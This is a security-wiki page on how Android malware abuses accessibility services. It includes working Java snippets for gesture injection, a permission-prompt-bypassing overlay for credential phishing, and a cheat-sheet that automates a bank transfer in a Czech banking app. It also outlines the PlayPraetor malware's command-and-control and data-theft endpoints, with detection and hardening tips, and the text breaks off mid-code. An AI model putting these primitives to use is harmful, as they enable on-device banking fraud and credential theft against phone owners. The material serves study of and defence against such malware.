# Android Accessibility Service Abuse
{{#include ../../banners/hacktricks-training.md}}
## Overview
`AccessibilityService` was created to help users with disabilities interact with Android devices. Unfortunately, the same **powerful automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) can be weaponised by malware to gain **complete remote control** of the handset _without root privileges_.
Modern Android banking Trojans and Remote-Access-Trojans (RATs) such as **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** and many others follow the same recipe:
1. Social-engineer the victim into enabling a rogue accessibility service (the *BIND_ACCESSIBILITY_SERVICE* permission is considered "high-risk" and requires an explicit user action).
2. Leverage the service to
* capture every UI event & text that appears on screen,
* inject synthetic gestures (`dispatchGesture`) and global actions (`performGlobalAction`) to automate any task the operator desires,
* draw full-screen overlays on top of legitimate apps using the **TYPE_ACCESSIBILITY_OVERLAY** window type (no `SYSTEM_ALERT_WINDOW` prompt!),
* silently grant additional runtime permissions by clicking on the system dialogs on the victim’s behalf.
3. Exfiltrate data or perform **On-Device-Fraud (ODF)** in real-time while the user is looking at a perfectly normal screen.
---
## Requesting the permission
```xml
```
The companion XML defines how the fake dialog will look like:
```xml
```
---
## Remote UI automation primitives
```java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
```
With only these two APIs an attacker can:
* Unlock the screen, open the banking app, navigate its UI tree and submit a transfer form.
* Accept every permission dialog that pops up.
* Install/update extra APKs via the Play Store intent.
---
## Abuse patterns
### 1. Overlay Phishing (Credential Harvesting)
A transparent or opaque `WebView` is added to the window manager:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
The victim types credentials into the fake form while the background app receives the same gestures – no suspicious "draw over other apps" prompt is ever shown.
> Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page.
### 2. On-Device Fraud automation
Malware families such as **PlayPraetor** maintain a persistent WebSocket channel where the operator can issue high-level commands (`init`, `update`, `alert_arr`, `report_list`, …). The service translates those commands into the low-level gestures above, achieving real-time unauthorized transactions that easily bypass multi-factor-authentication tied to that very device.
### 3. Screen streaming & monitoring
By combining the **MediaProjection API** with an RTMP client library, the RAT can broadcast the live framebuffer to `rtmp://:1935/live/`, giving the adversary perfect situational awareness while the Accessibility engine drives the UI.
---
## PlayPraetor – command & control workflow
1. **HTTP(S) heartbeat** – iterate over a hard-coded list until one domain answers `POST /app/searchPackageName` with the active C2.
2. **WebSocket (port 8282)** – bidirectional JSON commands:
* `update` – push new conf/APKs
* `alert_arr` – configure overlay templates
* `report_list` – send list of targeted package names
* `heartbeat_web` – keep-alive
3. **RTMP (port 1935)** – live screen/video streaming.
4. **REST exfiltration** –
* `/app/saveDevice` (fingerprint)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
* `/app/saveCardPwd` (bank creds)
The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions.
---
## Detecting malicious accessibility services
* `adb shell settings get secure enabled_accessibility_services`
* Settings → Accessibility → *Downloaded services* – look for apps that are **not** from Google Play.
* MDM / EMM solutions can enforce `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) to block sideloaded services.
* Analyse running services:
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
## Hardening recommendations for app developers
* Mark sensitive views with `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
* Combine `setFilterTouchesWhenObscured(true)` with `FLAG_SECURE` to prevent tap/overlay hijacking.
* Detect overlays by polling `WindowManager.getDefaultDisplay().getFlags()` or the `ViewRootImpl` API.
* Refuse to operate when `Settings.canDrawOverlays()` **or** a non-trusted Accessibility service is active.
---
## ATS automation cheat-sheet (Accessibility-driven)
Malware can fully automate a bank app with only Accessibility APIs. Generic primitives:
```java
// Helpers inside your AccessibilityService
private List byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
```
Example flow (Czech → English labels):
- "Nová platba" (New payment) → click
- "Zadat platbu" (Enter payment) → click
- "Nový příjemce" (New recipient) → click
- "Domácí číslo účtu" (Domestic account number) → focus and `ACTION_SET_TEXT`
- "Další" (Next) → click → … "Zaplatit" (Pay) → click → enter PIN
Fallback: hard-coded coordinates with `dispatchGesture` when text lookup fails due to custom widgets.
Also seen: pre-steps to `check_limit` and `limit` by navigating to limits UI and increasing daily limits before transfer.
## Text-based pseudo-screen streaming
For low-latency remote control, instead of full video streaming, dump a textual representation of the current UI tree and send it to C2 repeatedly.
```java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i